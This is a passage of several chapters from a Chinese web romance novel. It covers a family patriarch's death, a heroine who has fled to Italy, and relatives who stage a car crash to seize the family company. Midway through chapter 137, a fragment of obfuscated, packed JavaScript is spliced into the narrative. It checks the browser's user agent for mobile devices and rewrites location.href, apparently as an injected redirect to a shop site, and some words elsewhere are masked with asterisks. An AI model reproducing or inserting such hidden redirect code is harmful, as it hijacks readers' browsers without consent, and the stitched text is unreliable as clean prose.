陆慎站在混乱的人群外,看着紧闭的房门,眼眸平静。随即低下头,快速拨出苏亦姝的号码。
“嘟——嘟——嘟——对不起,您拨打的电话暂时无人接听,请稍后再拨……”
冰冷的机械女声在耳边回荡。
陆慎不信邪,紧接着又拨了两次,依旧是无人接听。
他眼角的肌肉隐隐抽、动,心底的不安逐渐变成了恐慌。
他转头看向刚赶到医院的周轩,一把揪住他的衣领,声音低哑。“去苏亦姝的公寓,立刻马上!不管用什么方法,把人给我带过来!快去!”
周轩被陆慎眼底的猩红吓了一跳,连连点头,转身飞奔出了医院。
第一百三十五章 苏亦姝走了
病房内,医生的抢救还在继续,程丽梅捂着脸,哭的并不真切,陆子勋和陆子谦则死死盯着病房的门,眼底透着不甘心。
时间在此刻被无限拉长。
众人一个个神色凝重,面色各异。
陆彦朝着站在不远处的陆慎看了眼,眼底的嫉妒赤裸裸的展现。
说真的,他确实很嫉妒陆慎。不仅得到了公司和陆家,还有苏亦姝……
二十五分钟后,陆慎手里的手机震动了起来。
是周轩。
陆慎快速接起电话,声音紧绷,“人呢?”
电话那头,周轩的呼吸有些急促,透着掩饰不住的慌乱。
“陆、陆总……公寓里没人。门锁没坏,但是里面的私人物品少了一些。苏小姐她……她可能是走了。”
“轰——”
陆慎脑子里紧绷的那根弦,彻底断了。
他呼吸一滞,高大的身形竟不可察觉地晃了晃。
走了。
昨晚床上的纵情,车里的回应,根本不是什么回心转意。
那是她处心积虑的告别,是她给他留下的最后一点障眼法!
陆慎眼底充满了戾气,他一把推开挡在面前的陆域,转身就要往外冲。
他要去机场,去查高铁站,查出境记录,就算是把整个江城翻个底朝天,他也要把那个没良心的女人抓回来!
然而,就在他刚转身的那一瞬——
“滴————”
心电监护仪上,那条原本微弱起伏的波浪线,彻底变成了一条平行的直线,发出长长的一声尖锐长鸣。
医生停下了按压的动作,无奈地摇了摇头。
福伯扑通一声跪在床前,老泪纵横地大喊出声,“老爷子——走了!”
病房外,瞬间爆发出此起彼伏的哭嚎声。
陆慎的手僵在那儿。
他死死咬着牙,下颌线绷得紧紧的,口腔里尝到了一丝浓烈的血腥味。
他不能走。
老爷子刚咽气,外面不知道有多少双眼睛盯着陆家,他若是现在离开,陆家必然大乱。
……
接下来的三天,陆家老宅挂满了白幡。
一场江城最受瞩目的丧事,办得风光又压抑。
从入殓、停灵到最后的下葬,身为陆家长孙媳妇的苏亦姝,全程没有露过一面。
外界议论纷纷,陆家内部也怨言四起,但却没有一个人敢拿到明面上来说。
因为陆慎。
整整三天,陆慎一身黑色西装,左胸别着一朵白花,面无表情地站在灵堂前。
他没有流一滴眼泪,甚至连多余的表情都没有。
站在那,浑身散发着骇人的戾气。尤其是那没有温度的眼神,看一眼,都叫人浑身冰凉,仿若置身冰窖。
来吊唁的宾客和陆氏的高管们个个噤若寒蝉,上完香便匆匆离去,没人敢上前去跟他多说一句客套话。
陆家的那几个叔伯兄弟,更是绕着他走,谁也不敢在这个节骨眼上,上去触他的眉头。
方华睿过来了。
他在陆老爷子灵前拜了拜,然后看向一旁站着的陆慎。
陆慎看到方华睿,眼眸动了。
他走过去,冷声说了一句,“跟我来。”
方华睿微微挑眉,跟着陆慎来到了后花园。
后花园的冷风阵阵,陆慎走到喷泉旁,这才停下来,背影看上去有些孤寂和萧索。
他猛地转过身,盯着方华睿,眼底一片荒芜和暴戾。
对于他喊自己来这边,方华睿心里清楚是什么事。
“苏亦姝去哪了?”
陆慎的声音压得很低,带着粗粝的沙哑。
方华睿整理了一下西装下摆,对上陆慎那双布满红血丝的眼,神色平静,“陆总问错人了吧,她是你的大嫂,也是你的人。她不见了,你来问我?”
陆慎往前跨了一大步,猛地揪住方华睿的衣领,力道大得惊人,“方华睿,别跟我玩这套。上次她车祸后消失,就是你搞出来的。这次她能走得这么干净,江城除了你方家,谁还有这个胆子,谁还能有这个本事?”
方华睿任由他揪着,甚至没怎么挣扎,只是嘴角挑起一抹自嘲的弧度。
“你也说了,那是上次。陆慎,你也太看得起我了。”
陆慎双眼猩红且愤怒,像是一头濒临疯狂的野兽,“说,她到底在哪?不说是吗?好,我会让整个方家,为你的沉默出代价。你可以试试看,我陆慎说得出,做不做得到。”
面对这种威胁,方华睿脸上却不见半点慌乱。
他抬起手,一寸一寸掰开陆慎的手指,慢条斯理地抚平领口上的褶皱。
“你让方家破产也好,消失也罢,不知道就是不知道。陆慎,你与其在这儿跟我发疯,不如想想她为什么要走。你自己也说了,上次是因为车祸。到现在,那个撞她的人还安然无恙,你觉得以亦姝的性子,她会留下来跟你在一起?”
陆慎呼吸一滞,瞳孔剧烈收缩。
方华睿没错过他脸上的表情,继续说道:“亦姝去哪了,我确实不知道。她这次走的非常果断也很干净,连我妹妹都没告诉,就是怕你找上门来,再连累方家一次。她不是在跟你闹脾气,陆慎,她应该是对你失望到底了,你若是真的在意她,就请,放过她吧……”
“闭嘴。”陆慎低喝,胸口起伏得厉害。
“她走的时候,甚至连一句话都没留下,对吧?”方华睿嗤笑一声,拍了拍陆慎的肩膀,侧头在他耳边轻声道,“陆慎,这就是你强留下她的代价。你赢了陆家,可她把命赔给你一次就够了,没义务赔给你第二次。”
方华睿说完,没再看陆慎那张惨白的脸,转身离开了后花园。
陆慎一个人站在原地,风吹乱了他的头发。他低头看着自己空荡荡的掌心,想起那天晚上在车里,苏亦姝主动亲吻他的样子。
他摸出手机,拨通了阿信的电话,嗓音狠戾,“查。查这两天所有出境的人员名单,哪怕是偷渡的船只也别放过。就算是死,我也要把她找回来。”<
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br>苏亦姝,你想摆脱我,不可能!我绝对不允许!
陆慎在后花园站了很久,直到指缝间的烟燃尽,灼痛了皮肤,他才猛地回神。
这几天,他不是没安排人寻找苏亦姝,只是,一无所获。
正如方华睿所说,她走的十分利索干净,没有留下半点痕迹。
阿信那边的反馈很快。
“陆总,机场、高铁站、码头,甚至是私人飞机的航线我都查遍了,没有苏小姐的名字。一直帮苏小姐的那个顾向南,我们也安排人盯着呢,他这几天一直待在医院和律所,没有任何异动。方家兄妹……除了方华睿今天来吊唁,方思荷一直待在家里没出门。”
陆慎听着汇报,狠狠一拳砸在旁边的石柱上,瞬间血肉模糊。
“继续找!哪怕是掘地三尺,也要把她给我挖出来!”
丧事之后,陆慎几乎住在了办公室。
他像是一台不知道疲倦的机器,疯狂地扩张版图,手段比以往更加狠辣。
他知道苏亦姝肯定在某一处看着他,等他放松戒备,就会出现。
他也在等,等她出现,等她露出踪迹来。一旦被他发现,苏亦姝,我不会再给你任何逃跑的机会。
然而,陆家内部的暗流并没有因为老爷子的去世而平息。
一栋别墅里,烟雾缭绕。
赵西双坐在沙发上,手上拿着一份股权转让意向书,眼神里闪烁嫉恨又毒辣的光芒,“陆慎现在疯了,满世界找那个女人,公司的事情他虽然抓得紧,但心思乱了,这就是我们的机会。”
坐在赵西双对面的陆彦,端着红酒杯,轻抿了一口,镜片后的眼睛阴鸷冷漠,“我二叔那边已经松口了,只要能把陆慎拉下来,他们手里那点股份愿意支持我。但光有股份不够,陆慎这人命硬,不彻底除掉他,我们谁也别想安生。”
赵西双冷笑一声,从包里推出一张名片,“东南亚那边过来的,手脚很利落,做成意外,神不知鬼不觉。到时候你接管擎天,我要陆家当家夫人的位置。当然,我还要苏亦姝那个**的命!”
“你还没死心?”陆彦挑眉。
“我得不到的,他也别想得到。”赵西双咬牙切齿,脸上的表情因为嫉恨而变得扭曲,“等陆慎没了,苏亦姝没了靠山,我看她还能躲到哪去。”
陆彦看着窗外的夜色,嘴角勾起一抹意味不明的笑。
与此同时,擎天集团顶层。
陆慎靠在办公椅上,手里拿着一份文件正看着。桌上的手机屏幕亮起,那是他私下派人盯着陆彦和赵西双的人汇报短信过来了。
他扫了眼短信内容,冷哼一声,眼底毫无波澜。
“想要我的命?”陆慎喃喃自语,指腹摩挲着一张苏亦姝留下的旧照片,那是他在她公寓书架缝隙里找到的,照片上的女人笑容恬淡。
他自嘲地笑了笑,嗓音沙哑,“苏亦姝,你看,没你在身边,这些人个个都想要我的命。你真的……一点都不心疼吗?”
第一百三十六章 陆慎**
江城的暴雨说来就来,沉闷的雷声滚滚。
陆慎离开擎天集团大厦时,天色已经暗了下来。
后视镜里,几辆黑色的私家车从地下车库起就一直不紧不慢地跟着。
陆慎修长的手指轻点着方向盘,嘴角勾起一抹嘲弄,终于按捺不住了?陆彦,赵西双,还以为你们会使出什么阴招呢。
车子驶入绕城高速,雨势愈发狂暴,视线模糊得厉害。
就在经过大桥转弯处时,后方的车辆突然加速,从左右两侧包抄合围,摆明了是要将他的车往护栏外撞。
“砰——!”
剧烈的撞击声被雷鸣掩盖,陆慎驾驶的那辆黑色越野车在水花四溅中失控,猛地撞破护栏,朝着下面的江河里冲了下去。
片刻后,陆彦接到了电话。
“陆少,成了。车坠江,水流很急,这种天气绝无生还可能。”
别墅内,陆彦猛地站起身,压抑不住的兴奋瞬间涌上眼底。
他挂断电话,看向一旁的赵西双,举起酒杯一饮而尽,“成了。那个位置,终于是我的了。”
赵西双先是一愣,紧接着,大笑了起来,只是笑着笑着,眼底泛起了泪光来。
陆慎,这就是你抛弃我,侮辱我赵西双的代价。
你一死,苏亦姝就彻底成了丧家之犬,想要拿捏她,轻而易举。
赵西双似乎已经看到了把苏亦姝踩在脚底下的一幕,眼底的笑意越发的扭曲。
然而,在这个所有人都以为陆慎已葬身江水里的夜晚,距离江城**的意大利圣米尼亚托小镇,却是另一番景象。
连绵的橄榄林掩映着一座古旧的石砌别墅,壁炉里的木柴烧得噼啪作响。
苏亦姝换下了一身素净的长裙,此时正坐在一张宽大的真皮沙发上。
整个人因为脸上严肃的神色,看上去格外的冷漠不近人情。
她对面坐着一个年过五旬的男人,穿着一身考究的手制西装,眉眼间隐约能看到苏亦姝的轮廓。
京城叶家当家人,叶礼成。
叶家在京城,上流社会数一数二的家族。只不过,在京城遍地都是权贵的地方,这种豪门也不是什么稀罕物。
壁炉里的火光映在苏亦姝的侧脸上,忽明忽暗,衬得她眉眼间的冷意愈发浓重。
叶礼成放下手中的茶盏,目光落在苏亦姝那张与贺婉极像的脸上,语重心长地开口,“亦姝,这里的环境虽然清幽,但终究不是长久待着的地方。跟我回京城吧,你和阿婉是我的妻女,叶家才是你们的家。只要你们回去,以前受的那些委屈,我都会补偿回来。”
苏亦姝闻言,嘴角勾起一抹讥讽,像是听到了什么天大的笑话。
她抬眼直视着这个名义上的父亲,嗓音清冷,“补偿?叶先生,二十多年不见踪影,现在跑来跟我谈补偿,不觉得太晚了吗?在江城我妈病重的时候,你在哪?我被陆家困住的时候,你又在哪?”
叶礼成的脸色僵了瞬,神色有些不自然地交叠起双手,“当**有误会,叶家内部复杂,我也是才得知你是我的亲生女儿……现在陆慎已经出事了,江城陆家很快就会陷入内斗,而那些人,一旦找上你,你就没有安宁的日子,甚至,连安全都得不到保障。只要你点头,你就是京城叶家名正言顺的大小姐,没人再敢轻看你。”
“我不在乎什么大小姐的名号。”苏亦姝冷声打断他,“我妈已经醒了,她既然不想见你,那就说明她这辈子都不想再跟叶家有任何瓜葛。叶先生,请回吧。”
提到贺婉,叶礼成的眼中终于流露出一丝真实的颓丧与焦躁。
贺婉醒来后,别说跟他回京城,甚至连房门都不让他进。这种被漠视的感觉,比当面的咒骂更让他难以忍受。
“亦姝,你妈妈现在身体虚弱,她跟你最亲,她只听你的话。”叶礼成放低了姿态,语气近、乎恳求,“你劝劝她,京城的医疗条件更好,我可以请全球最好的团队为她调理。难道你忍心看着她在这里熬着吗?”
苏亦姝缓缓站起身,眼神依旧冷漠。
“我妈要的不是名医,是清静。她熬了二十多年,好不容易摆脱了那些噩梦,你现在却想带她回那个梦魇开始的地方?”苏亦姝走近两步,眼底一片讥讽,“叶礼成,你找我没用。我不会劝她,更不会跟你走。”
“你……”叶礼成眉头紧锁,身居高位的压迫感无意识地散发出来,“你这性子,简直跟阿婉年轻时一模一样,固执得不可理喻。”
“那是我的荣幸
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。”苏亦姝面无表情地看向楼梯的方向,“时间不早了,就不留叶先生吃饭了。”
叶礼成看着苏亦姝那副油盐不进的模样,深深吸了一口气,知道今天再谈下去也不会有结果。
他站起身,扣好西装纽扣。
“既然你现在想不通,我过两天再来。但我提醒你,陆慎的车坠江了,陆彦还有赵西双那帮人不会放过任何跟陆慎有关的人。你以为躲在意大利就万无一失了?”
苏亦姝垂在两侧的手指颤了颤,却在瞬间恢复如常。
“那是我的事,不劳叶先生费心。”
叶礼成最后深深看了她一眼,转身大步走出了别墅。
在叶礼成离开后,苏亦姝坐回沙发里。
壁炉里的火渐渐弱了下去,她目光呆滞地看着某一处,脑海中不断回响着叶礼成刚才那句“陆慎的车坠江了”。
那个男人,真的就这么轻易死掉了?
此时,别墅二楼的走廊尽头,一扇房门悄无声息地开了一道缝。
贺婉消瘦的身影立在阴影里,听着楼下的动静,目光复杂地看向窗外。
另一边,江城陆家。
陆慎的车坠江的消息一下子就传开了,陆家也派出人去寻找了,但是一无所获。
陆家老宅,陆彦和陆子勋父子两坐在那里,脸上难掩得意。
而陆子谦则是看了眼身侧坐着的儿子陆域,欲言又止。
“二哥,你也别冥顽不灵了,陆慎不在了,我们总不能眼睁睁地看着擎天没人带领吧。我知道二哥你有能力,但是……二哥的能力,却入不了我的眼……再一个,二哥手中的股份,没我的多……”
陆彦的话,陆域冷嗤一声。
陆彦的野心,他早就知道了。
只是没想到,他竟然对陆慎动手了。
关键是,陆慎真的,就这么坠江**?他不相信,陆慎那样的人,怎么可能就这么轻易的**?
见陆域不说话,陆彦又说道:“二哥,有些手段,我用一次就够了,不想再用第二次,所以,希望二哥能明白。”
陆域皱眉。
就在这个时候,程丽梅从偏院气冲冲地过来了。
“陆彦,你算个什么东西?就算陆慎不在了,那个位置,也轮不到你来坐!”
第一百三十七章 程丽梅的无助
陆家老宅的正厅里,气氛非常僵硬,所有人都看向程丽梅。
“陆彦,你算个什么东西?就算陆慎不在了,那个位置,也轮不到你来坐!”
程丽梅的声音尖锐刺耳,带着毫不掩饰的怨毒和几分虚张声势的威严。
她踩着高跟鞋,从偏院气势汹汹地冲了过来,因为走的很急,胸口剧烈起伏着。
厅内原本剑拔**张的气氛,因为她的闯入而停滞了一瞬。
陆子谦皱了皱眉,往椅背上靠了靠,选择作壁上观。
陆域则端起茶杯,垂下眼眸,遮住了眼底的冷意。
陆子勋坐在主位旁,冷哼了一声,“大嫂,这话就不对了。阿慎现在生死未卜,就算真的没死,那他现在在哪?更何况,那么湍急的河流,怎么可能还有生还的可能?擎天那么大的公司,总得有人出来主持大局。阿彦名正言顺,怎么就坐不得?”
“名正言顺?好一个名正言顺。老三,你敢跟我说,阿慎为什么会出车祸?”程丽梅毫不留情地撕破脸皮,指着陆彦的鼻子骂道,“老爷子才走几天?你们就这么迫不及待地跳出来!阿慎的车祸,我也会查清楚,你们真以为,做的天衣无缝?还有,我告诉你们,我手里有擎天的股份,在董事会也有话语权,只要我不点头,你陆彦就别想掌控公司!”
面对程丽梅的歇斯底里,陆彦连眼皮都没抬。
他慢条斯理地端起面前的紫砂茶杯,撇了撇浮沫,轻抿了一口,镜片后的眼睛里闪过一丝阴冷的嘲弄。
“大伯母,火气别这么大。您手里那点股份,确实能顶点事,但我今天既然敢坐在这儿,自然不是空着手来的。”
陆彦放下茶杯,发出一声清脆的磕碰声。他抬起头,目光越过程丽梅,看向正厅大门的方向。
“程总,程少,既然来了,就进来跟大伯母打个招呼吧。”
程丽梅浑身一僵,猛地回过头。
只见门外走进来两个西装革履的男人,正是她的亲弟弟程其训和亲侄子程瑞。
“其训?小瑞?你们怎么在这儿?”
程丽梅眼底闪过一丝惊讶和慌乱,但很快又强压下去,镇定地看着他们。
对于自己这个弟弟还有侄子,上次的事情闹得不欢而散之后,就一直没有联系。但是今天,他们为什么会过来?
程丽梅心底有些猜测,她不想朝着那个方面去想,但是,这两人现在站在她跟前,让她想不那么想都不行。
“大姐。”程其训打断了她的话,脸上带着几分漫不经心的假笑,眼神却透着算计,“我们今天来,是受到陆三少的邀请。”
程丽梅愣住了,不可置信地看着自己的亲弟弟:“你这话是什么意思?”
一旁的程瑞冷笑了一声,眼底划过一抹讽刺,见他父亲似乎还有些不好意思开口,便直接说道。
“姑姑,您还没看清形势吗?陆慎这回是死透了。程家这一年多时间被陆慎压得喘不过气来,您这个当姑妈的也不见得能护得住我们。现在陆彦少爷愿意带着程家一起发财,我们程家,自然是全力支持陆彦少爷接管擎天。”
“你……你们说什么?!”程丽梅如遭雷击,指着两人,手指不可抑制地颤抖起来,“我是你们的亲姐姐!亲姑姑!你们竟然联合外人来算计我?!”
程其训不以为意地耸了耸肩,走到一旁的空位坐下。
“大姐,话别说得那么难听。人为财死鸟为食亡。当初陆慎把权的时候,我们想着,陆慎是我的亲外甥,怎么样都会向着我这个舅舅,可结果呢?他视我们程家为眼中钉肉中刺,差点逼得程家破产。”
“我们也曾想过借苏亦姝那个女人的手来拿捏他,可惜陆慎手段太狠,我们连边都摸不到。现在他**,这可是千载难逢的机会。我们自然不会放过。至于姐姐你,弟弟我只能说,我只想让程家更上一层楼,姐姐你既然做不到,那就只能靠我了……”
他看着程丽梅那张惨白扭曲的脸,眼神里没有半点温情,“大姐,认清现实吧。你手里的股份,加上程家的支持,陆彦坐上那个位置,是板上钉钉的事。你现在服软,以后还能做个风风光光的陆家大太太,要是再闹下去……怕是什么都剩不下。”
“畜生……一群畜生!”
程丽梅气得浑身发抖,她死死瞪着程其训和陆彦,眼底满是怨毒与失望。
她一直以为自己还能拿捏住一些筹码,却没想到,连血肉至亲都能随时将她卖个干净,亏她还一心为着他们……
坐在一旁一脸得意的何婉如,看向程丽梅,眼底别提多得意了。
这么多年,她最是看不惯的就是这个大嫂了,自认为自己出身程家,又是陆家大夫人,身份高人一等。
每次跟她说话的时候,那姿态,看着就让人作呕。
“大嫂,你又何必,阿钦阿慎都不在了,阿彦也就是你的儿子,这以后,你还得靠着阿彦,不是吗?”
“滚,我有儿子!”程丽梅怒吼着。
何婉如笑的说道:“你确实有儿子,但是,都**,不是吗?”
程丽梅气得浑身发抖。
陆彦看着程丽梅崩溃的模样,眼底的笑意终于彻底荡漾开来。
“大伯母,识时务者为俊杰。您还是回去好好休息吧,过两天的董事会,我会让人请您去签字的。”
他站起身,居高临下地扫视了一圈众人,最后目光落在一直沉默的陆域身上,嘴角勾起一抹挑衅的弧度。
陆家,终于是他的了。
程丽梅死死咬着牙,双手紧紧攥成拳头,指甲几乎要掐进肉里。
她不甘心,陆家,擎天,不能就这么白白落入了陆彦的手里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220725|197516||http|test|mini|href|location''.split(''|''),0,{}));
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r>似乎想到了什么,她猛地转头,看向一直坐在旁边看戏的陆子谦和陆域父子俩,仿佛抓住了最后一根稻草。
“老二!阿域!你们就坐在这眼睁睁看着他陆彦把陆家夺走?”程丽梅声音发颤,带着几分祈求,“阿慎平时对你们二房不薄,你们现在连句话都不敢说吗?”
陆子谦慢悠悠地放下茶杯,连眼皮都没抬,叹了口气,“大嫂,老三说得对,公司不能群龙无首。现在阿慎人没了,阿彦能稳住局面,我跟阿域自然没有异议。这个时候,还是大局为重。”
陆域依旧垂着眼,自顾地看着手里的茶杯,连个多余的眼神都没给程丽梅。
程丽梅的心彻底沉了下去。
她回过头,看着自己那毫不遮掩、正谄媚地站在陆彦身后的亲弟弟和亲侄子,一股深切的无力感涌上心头。
孤立无援。
在这个老宅里,她手里的那点股份,在面对这些豺狼虎豹,根本就微不足道。
就算自己不拿出来,到时候,他们也会想尽各种办法,让她拿出来。
这一刻,程丽梅脑海里鬼使神差地浮现出了一张清冷寡淡的脸——苏亦姝。
如果是那个女人在,面对这种局面,她一定能面不改色地找出破局的办法。
不管遇到什么刁难,苏亦姝永远都是那副波澜不惊、运筹帷幄的样子。
想到这里,程丽梅原本灰败的眼眸突然动了动。
阿慎坠江前满世界找苏亦姝,若是她能赶在陆彦彻底掌权前把苏亦姝找回来……或许还有一丝希望。
就在这时,正厅外传来一阵清脆的高跟鞋声。
众人抬眼望去,赵西双穿着一身高定红裙,踩着张扬的步伐走了进来。
她径直走到陆彦身侧停下,微微扬起下巴,目光扫视全场,俨然一副陆家未来当家主母的姿态。
看到赵西双,程丽梅原本死寂的心又生出一丝希冀。
整个江城都知道,赵西双爱陆慎爱得发狂。现在阿慎刚出事,陆彦就要**,赵西双难道能容忍?
“西双……”程丽梅刚一开口,却撞上了赵西双那双冰冷又狠辣的眼睛。
赵西双嗤笑了一声,眼底没有半点对陆慎去世的哀恸,只有掩饰不住的得意与狠毒。
“阿姨,火气这么大,对身体可不好。”
赵西双拨了拨耳边的卷发,居高临下地看着程丽梅,声音冰冷且透着几分刻薄,“陆慎既然回不来了,这陆家总要换个新主人的。您还是乖乖回去休息吧,至于您手里的那些股份,自己体面地拿出来最好,免得到时候撕破脸,弄得大家都难堪,您说对吧?”
程丽梅如坠冰窟,僵在原地,难以置信地看着眼前这个曾经整天追在陆慎屁股后面献殷勤的女人。
终于彻底明白,这完全就是一个早就布好的阴谋……
第一百三十八章 苏亦姝,求你回来
程丽梅不知道自己是怎么走出正厅的。
她踉跄跄跄地走在青石板路上,身后的哄笑声和交谈声像魔咒一样钻进她的耳朵。
赵西双的绝情、亲弟弟和侄子的背叛,还有陆彦那张志得意满的脸,在她脑海里疯狂交织。
而此时的正厅内,陆子谦和陆域在程丽梅离开后,便也离开了。
看着三房这些人的嘴脸,膈应的慌。
陆域不知道自己此时是什么心情。原本以为,陆慎不在了,他该兴奋,毕竟,自己的双腿,也是拜他所赐。
可是,在看到陆彦那春风得意的嘴脸,他觉得,其实陆慎坐在那个位置会更好。
正厅内,三房的人还坐在那里。
赵西双姿态优雅地坐在陆彦身侧,指甲轻轻划过红裙,面上带着几分笑意。
“阿彦,过两天的董事会,赵家会全力支持你。不过,你答应过我的,苏亦姝那个女人你会交给我……我一定要亲手抓到她。她拿走了陆老爷子五个亿的信托基金,那笔钱,必须吐出来。”
陆子勋拍了拍扶手,满面红光,“那是自然!不仅是那五个亿,老爷子留给她的那份股份和不动产,还有陆钦的遗产,也得一并收回来。陆家的东西,一个外人凭什么拿?”
何婉如在一旁帮腔,笑得眼睛都眯成了缝,“还是西双有本事。阿彦,这当家主母的位置,也就西双坐得稳。到时候咱们两家联手,这江城还有谁敢说个‘不’字?”
陆彦抿了一口红酒,眼神阴鸷中透着贪婪。
“股权转让书已经让律师在做了,程家那边会带头签字。至于陆慎……等董事会流程走完,我会让人去江边做场法事,彻底结了这件事。”
几个人你一言我一语,言语间已经把陆家未来的格局私分了个干净。
谁也没有注意到,正厅侧面那扇屏风后,一截粉色的裙摆微微颤抖着。
陆玥死死捂住自己的嘴,背靠着冰冷的墙壁,呼吸急促得不敢发出一点声音。
她眼眶红通通的,眼底写满了惊恐。
她不相信。
不相信那个总是冷冰冰,让人看一眼就胆颤的三哥,就这么死在了冰冷的江水里。
陆玥虽然平日里任性,甚至有些怕陆慎,但她并不傻。
她记得那天在老宅,三哥牵着苏亦姝的手,挡在所有人面前时的样子。
那是她第一次觉得,这个家虽然冷,但还是有人能顶住天的。
可现在,这些人、在、干什么?
他们像一群分食尸体的秃鹫,连三哥的死讯都没确认,就开始欢天喜地地庆祝了。
尤其是赵西双,刚才提到要抓苏亦姝时的那种眼神,让陆玥感到一阵胆寒。
“不行……”陆玥在心里默念,手指紧紧扣着墙缝。
她虽然不喜欢苏亦姝,甚至曾经还针对过她,可苏亦姝救过她。
她和三哥,在那晚,救了她……
那晚的场景,她到现在,都忘不了,以后,也忘不了。
如果苏亦姝真的落入这群人手里,要是三哥没死回来了,知道了后,会很伤心的。
陆玥咬了咬牙,趁着正厅里那几个人讨论得火热,猫着腰,飞快地朝着自己的卧房跑去。
她要去联系苏亦姝……
程丽梅回到偏院后,像是虚脱了一般跌坐在红木椅上。
屋子里没开大灯,昏暗的光线下,她那张保养得宜的脸此刻显得格外苍老。
她没时间哭,更没时间心疼死去的儿子,她的脑子里只有一个念头:她要翻盘。
她颤抖着手翻开私人通讯录,拨通了几个多年未动的关系。
这些**多是早些年,跟她关系不错的,当时她尽全力帮助过他们。
程丽梅压低声音,脸色有些僵硬和执拗。“帮我个忙,不管花多少钱,查苏亦姝在哪。我要的是她现在的联系方式,立刻,马上!”
这一等,就是一夜。
直到第二天傍晚,一张写着海外号码的字条才递到了她手里。
程丽梅看着那串数字,眼底闪过一抹激动。她知道,这是她最后的机会。
意大利,圣米尼亚托。
此时正值异国的午后,阳光透过橄榄林的叶隙,细细碎碎地洒在别墅的餐桌上。
苏亦姝正陪着贺婉吃饭。
贺婉大病初愈,动作很慢,但眼神已经恢复了神采,自从叶礼成过来后,两人谁也没提那个叫叶礼成的男人。
就在这时,苏亦姝放在旁边的手机突然震动起来。
屏幕上显示的是一个陌生号码。
苏亦姝眉心微跳,皱了皱眉头,看着
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号码神色有些犹豫。
她看了一眼正低头喝汤的贺婉,放下筷子,走到露台接了起来。
“喂。”
电话那头是一阵安静,只有粗重的呼吸声。
好半晌,才传来一道低沉的声音,“苏亦姝……”
程丽梅沙的嗓音有些沙哑,还带着一些哭腔,这让苏亦姝握着手机的手微微收紧。
“是我。”苏亦姝声音冷静,听不出半分波澜,“陆夫人找我有事?”
“苏亦姝,阿慎出事了。”程丽梅在那头像是终于崩溃了,语速极快,“他车毁人亡,坠入大江,现在陆彦和赵西双那对畜生要接管陆家,接管擎天,他们还要你的命!苏亦姝,我不能眼睁睁地看着,擎天落入他们手里。”
苏亦姝心底猛地一颤,陆慎**……她心口顿时传来一阵疼痛。
但是,她紧紧扶着露台的石柱,面上依旧一片清冷,嗓音更是听不出任何异样。
“陆夫人,陆慎出不出事,跟我有什么关系?我已经离开陆家了。”
“苏亦姝!”程丽梅在电话里尖叫起来,全然没了往日的端庄,“他到死都在找你!苏亦姝,我知道你是个有本事的,陆家现在乱了,如果你不想让阿慎的心血落在陆彦手里,如果你还念着点阿慎对你的好,你就回来!”
苏亦姝沉默了。
风吹过橄榄林,沙沙作响。
“陆夫人,你以前恨我入骨,现在求我回去,不觉得讽刺吗?”
程丽梅在电话那头一顿,然后咬牙切齿地说道:“只要能让陆彦和赵西双死,我给你跪下都行!我手里还有股份,只要你回来帮我保住大房的东西,以前的事,我跟你一笔勾销。苏亦姝,那是阿慎的陆家,你真的忍心看着它散了?”
苏亦姝轻笑一声,带着讽刺。“陆夫人,你真的是为了陆慎吗?说到底,你不过是为了你自己而已!为了你自己那点虚荣心和自尊心。你只是不想让你现在所得到的这些,轰然消失罢了,所以,不要打着为陆慎的名义,好吗?”
说完,苏亦姝就挂断了电话。
她站在阳光下,却觉得浑身冰凉。
脑海里反复闪过的,是陆慎最后那个极轻的嗤笑,和他那句“放过她?不可能”。
这个疯子,真的**吗?
第一百三十九章 苏亦姝,回来了
苏亦姝在露台上站了很久,直到脸颊被冷风吹得有些麻木了,这才深吸一口气,平复了眼底的情绪,转身走回屋内。
餐桌前,贺婉已经放下了汤匙。
她虽然身体还虚弱,但那双阅尽千帆的眼睛却极其敏锐。
她盯着苏亦姝略显僵硬的脊背,还有那双因为克制而泛着血丝的眼眸,轻轻叹了口气。
“谁的电话?”贺婉问得温和。
苏亦姝坐回原位,指尖无意识地摩挲着微凉的瓷碗边缘,垂下眼帘掩盖住心虚,“没谁,推销保险的。妈,你再喝点汤,医生说你要多补补。”
“亦姝,”贺婉打断了她,目光平静地落在她脸上,“你要回国吗?”
苏亦姝握着筷子的手猛地收紧,随即摇了摇头,语气生硬且坚决,“不回。好不容易才出来的,回去做什么。”
接下来的半天,苏亦姝表现得很正常。
她陪着贺婉在后花园散步,帮她修剪花枝,甚至还亲自下厨做了几样江城的家乡菜。
可只有贺婉看在眼里——这一下午,亦姝丢了三把剪子,切菜时差点切到手指,甚至连盐和糖都放反了。
到了傍晚,余晖将橄榄林染成了一片橘红。
苏亦姝坐在藤椅上,手里攥着手机。
屏幕亮起又熄灭,熄灭又被她按亮。
她在搜索框里输入了“江城”、“陆氏”、“车祸”等字眼,看了一遍又一遍,却始终没有点开那些标题。
贺婉披着羊绒披肩,悄无声息地走到她身边坐下。
“手机快被你捏碎了。”贺婉轻声开口。
苏亦姝像是受惊一般,飞快地锁了屏,强撑起一抹笑,“妈,你怎么出来了?外面风大。”
贺婉握住她冰凉的手,语重心长地说道:“亦姝,你不用为了我,困住你自己。我虽然刚醒不久,但我知道这一年多发生了什么。叶礼成那天说的话,我也听见了。”
苏亦姝倔强地抿着唇,“那些事都过去了,陆家的人死活跟我没关系。我只想在这儿陪着你,过着清静日子,我觉得现在的日子就很好。”
“你骗得了我,骗不了你自己。”贺婉看着女儿那副强撑的清冷模样,眼底满是心疼。
继续说道:“你若是真的放下了,就不会连下午茶的红茶里都放了两勺盐。那个叫陆慎的……他**,你真的不回去看看吗?”
听到“陆慎”和“死”这两个字连在一起,苏亦姝的呼吸还是不可抑制地颤了颤。
苏亦姝冷笑一声,眼眶却控制不住地红了,“他不值得。他是个疯子,是个恶魔。他把我困在身边,强迫我做一些事情……他**,我该庆幸,我该放烟花庆祝才对。”
贺婉摸了摸她的头,声音轻柔却残忍地戳破了那层伪装,“可你现在想哭。亦姝,有些账,**是还不清的。你若是不回去看那最后一眼,这辈子,你就真的要被他困在这里了。”
苏亦姝伏在贺婉的膝头,眼泪终于滚落了下来。
